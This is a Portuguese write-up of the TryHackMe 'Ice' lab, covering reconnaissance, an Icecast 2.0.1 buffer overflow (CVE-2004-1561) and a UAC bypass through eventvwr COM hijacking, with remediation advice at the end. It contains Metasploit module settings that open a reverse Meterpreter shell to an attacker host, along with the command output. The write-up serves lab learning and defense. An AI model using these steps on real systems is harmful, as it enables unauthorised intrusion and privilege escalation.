TryHackMe — Ice: Icecast 2.0.1 RCE & Escalação de Privilégios no Windows

Plataforma: TryHackMe SO alvo: Windows 7 / Windows Server 2008 R2 Dificuldade: Fácil Categoria: Buffer Overflow (RCE), Escalação Local de Privilégios

Resumo

Este relatório documenta a exploração completa da máquina Ice no TryHackMe, desde a reconhecimento inicial até a escalação de privilégios para SYSTEM. O alvo expõe um servidor de streaming de mídia Icecast 2.0.1 desatualizado, vulnerável a um buffer overflow remoto (CVE-2004-1561) que permite a execução arbitrária de código por meio de cabeçalhos HTTP maliciosos. O acesso inicial foi obtido como um usuário de baixo privilégio por meio de um reverse shell Meterpreter. A escalação de privilégios para NT AUTHORITY\SYSTEM foi então alcançada abusando de uma vulnerabilidade de sequestro de objeto COM do Windows (bypassuac_eventvwr), que aproveita binários com autoelevação e redirecionamento de chaves de registro em HKCU.

1. Reconhecimento

1.1 Descoberta de Host

Uma varredura ARP foi usada para identificar o endereço IP do alvo na rede local.

arp-scan -l

Alvo identificado em 192.168.37.138.

1.2 Enumeração de Portas e Serviços

Uma varredura SYN completa com detecção de serviço/versão foi executada contra o alvo:

nmap -sS -sV 192.168.37.138

Resultados:

O host foi identificado como DARK-PC, uma máquina Windows. A porta 8000 executando Icecast destacou-se como a superfície de ataque mais promissora — não é um serviço Windows padrão e é conhecida por possuir CVEs históricas.

2. Identificação de Vulnerabilidade

Uma busca por vulnerabilidades conhecidas do Icecast revelou a CVE-2004-1561:

Buffer overflow no Icecast 2.0.1 e versões anteriores permite que atacantes remotos executem código arbitrário por meio de uma solicitação HTTP com um grande número de cabeçalhos.

Um módulo correspondente do Metasploit foi confirmado:

search CVE-2004-1561

exploit/windows/http/icecast_header   2004-09-28   great   No   Icecast Header Overwrite

3. Exploração — Acesso Inicial

3.1 Causa Raiz

O Icecast 2.0.1 não verifica adequadamente os limites do número de cabeçalhos HTTP que processa. Ao enviar mais cabeçalhos do que o buffer do servidor é dimensionado para suportar, o excesso de dados transborda para a memória adjacente, sobrescrevendo dados fora do buffer reservado para análise de cabeçalhos.

Especificamente, o overflow corrompe o endereço de retorno salvo (EIP) na pilha — o endereço para o qual a CPU retorna quando a função que trata a solicitação termina. Ao controlar esse endereço, um atacante pode redirecionar a execução para um shellcode fornecido pelo atacante, em vez do ponto de retorno legítimo, resultando em execução arbitrária de código no contexto do processo Icecast.

3.2 Configuração do Módulo

use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

3.3 Execução

exploit

[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)

Uma sessão Meterpreter foi estabelecida como um usuário de baixo privilégio.

4. Escalação de Privilégios

4.1 Sugestor de Exploits Local

Com uma sessão ativa, o sugestor integrado do Metasploit foi usado para identificar caminhos viáveis de escalação local de privilégios para o nível de correção do alvo:

use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Vários módulos foram sinalizados como provavelmente viáveis, incluindo bypassuac_eventvwr, que visa hosts Windows 7 / Server 2008 R2 sem correções.

4.2 Causa Raiz — Bypass de UAC via Sequestro de COM

Esse caminho de escalação de privilégios abusa da arquitetura COM (Component Object Model) do Windows, que permite que componentes escritos em diferentes linguagens interoperem. Objetos COM normalmente dependem de DLLs compartilhadas, e o sistema resolve qual DLL carregar para um determinado objeto COM por meio de caminhos de registro — incluindo caminhos armazenados no hive HKCU do usuário atual.

eventvwr.exe é um binário Windows com autoelevação (ele silenciosamente dispara uma solicitação de elevação de UAC sem exibir o prompt em si, devido às configurações de manifesto, em configurações padrão de UAC). Quando executado, ele consulta HKCU para resolver um objeto COM e carregar sua DLL associada.

O exploit sequestra essa consulta: ele grava uma chave de registro maliciosa no hive HKCU do usuário atual, apontando a resolução do COM para um payload controlado pelo atacante, em vez da DLL legítima do sistema. Como o eventvwr.exe se autoeleva, o payload que ele aciona — neste caso, um shell de comando — é executado com o nível de integridade ao qual o eventvwr.exe eleva, elevando a sessão de um usuário padrão para um contexto de privilégios mais altos, sem nunca exibir um prompt de UAC visível.

4.3 Execução

use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...

C:\Windows\system32>

Uma segunda sessão Meterpreter foi aberta com um shell elevado, caindo diretamente em C:\Windows\system32, confirmando a escalação de privilégios.

5. Resumo das Descobertas

6. Remediação

1. Corrija ou substitua o Icecast. A versão 2.0.1 está mais de duas décadas desatualizada; atualize para a versão mantida mais recente ou desative o serviço se não for utilizado.
2. Restrinja a exposição de serviços de streaming/mídia apenas a redes internas — eles não devem ser alcançáveis pela internet ou por toda a LAN sem uma necessidade clara de negócio.
3. Aplique as atualizações atuais do Windows. O abuso da autoelevação do eventvwr.exe foi corrigido em versões posteriores do Windows; esse ataque não funciona contra versões modernas e totalmente atualizadas do Windows.
4. Endureça as configurações de UAC para "Sempre notificar" em vez do nível padrão, o que elimina vários caminhos de abuso de autoelevação silenciosa.
5. Princípio do menor privilégio: a conta comprometida não deveria fazer parte do grupo local Administrators, que é o que permitiu que a técnica de bypass de UAC tivesse sucesso em primeiro lugar.

Ferramentas Utilizadas

• arp-scan, nmap — reconhecimento
• Metasploit Framework (msfconsole) — exploração e pós-exploração
• Meterpreter — shell de pós-exploração

Habilidades Demonstradas

• Reconhecimento de rede e enumeração de serviços
• Pesquisa de CVEs e mapeamento exploit-vulnerabilidade
• Conceitos de corrupção de memória / exploração de buffer overflow (sobrescrita de EIP)
• Internals do Windows: resolução de objetos COM, sequestro de registro, mecânicas de bypass de UAC
• Documentação completa da cadeia de ataque (reconhecimento → exploração → escalação de privilégios → remediação)